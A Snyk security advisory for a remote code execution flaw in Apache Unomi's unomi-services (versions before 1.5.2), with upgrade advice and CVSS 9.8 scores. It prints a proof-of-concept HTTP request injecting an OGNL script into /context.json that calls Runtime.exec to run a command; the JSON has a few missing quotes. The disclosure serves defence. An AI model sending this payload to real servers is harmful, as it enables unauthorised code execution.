Remote Code Execution (RCE) Affecting org.apache.unomi:unomi-services package, versions [,1.5.2)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    97.28% (100th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JAVA-ORGAPACHEUNOMI-1045348
  • published 25 Nov 2020
  • disclosed 25 Nov 2020
  • credit Eugene Rojavski

How to fix?

Upgrade org.apache.unomi:unomi-services to version 1.5.2 or higher.

Overview

org.apache.unomi:unomi-services is a package that provides Apache Unomi Context Server Core Services.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). It is possible to inject malicious OGNL or MVEL scripts into the /context.json public endpoint.

PoC

POST /context.json HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/json
Content-Length: 200
 
 
{"personalizations":[{"id" : "test","strategy":"matching-first",strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{propertyName":"(#runtimeclass=#this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod=#runtimeclass.getDeclaredMethods().{^#this.name.equals(\"getRuntime\")}[0]).(rtobj=#getruntimemethod.invoke(null,null)).(#execmethod=#runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang/String\")}.{? #this.getParameters().length<2[0]).(#execmethod.invoke(#rtobj,\" touch /tmp/POC\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"demo-session-id"}

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
9.8 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

9.8 critical